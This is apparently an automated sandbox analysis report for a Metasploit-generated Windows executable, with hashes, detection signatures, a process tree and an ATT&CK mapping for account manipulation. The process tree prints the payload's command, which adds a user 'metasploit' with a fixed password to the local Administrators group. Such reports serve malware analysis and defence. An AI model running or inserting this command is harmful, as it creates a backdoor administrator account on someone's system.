Analysis

  • max time kernel
    47s
  • max time network
    51s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    24-05-2022 22:04

General

  • Target

    d5514891a2a649e390f064dd7092f09b0fb71b7e3af754f89014541393cdd02e.exe

  • Size

    72KB

  • MD5

    0fdad4f4a85f6279ffac0f19e32a2868

  • SHA1

    c0348bbb7e64049b7965497333e66c78d0555812

  • SHA256

    d5514891a2a649e390f064dd7092f09b0fb71b7e3af754f89014541393cdd02e

  • SHA512

    5c499c710ffd4b551ff9473e1f7f28112f537f46e05d99b565ebf96636891e4ca4022018fd2cea82248970a53c9e0fee6f7b8637721487f48934d296ede3da15

Score
9/10

Malware Config

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d5514891a2a649e390f064dd7092f09b0fb71b7e3af754f89014541393cdd02e.exe
    "C:\Users\Admin\AppData\Local\Temp\d5514891a2a649e390f064dd7092f09b0fb71b7e3af754f89014541393cdd02e.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1512
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net user metasploit Metasploit$1 /ADD && net localgroup Administrators metasploit /ADD
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1660
      • C:\Windows\SysWOW64\net.exe
        net user metasploit Metasploit$1 /ADD
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1924
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 user metasploit Metasploit$1 /ADD
          4⤵
            PID:276
        • C:\Windows\SysWOW64\net.exe
          net localgroup Administrators metasploit /ADD
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1976
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 localgroup Administrators metasploit /ADD
            4⤵
              PID:1228

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      Account Manipulation

      1
      T1098

      Replay Monitor

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      Downloads

      • \??\PIPE\samr
        MD5

        d41d8cd98f00b204e9800998ecf8427e

        SHA1

        da39a3ee5e6b4b0d3255bfef95601890afd80709

        SHA256

        e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

        SHA512

        cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

      • memory/276-56-0x0000000000000000-mapping.dmp
      • memory/1228-58-0x0000000000000000-mapping.dmp
      • memory/1660-54-0x0000000000000000-mapping.dmp
      • memory/1924-55-0x0000000000000000-mapping.dmp
      • memory/1976-57-0x0000000000000000-mapping.dmp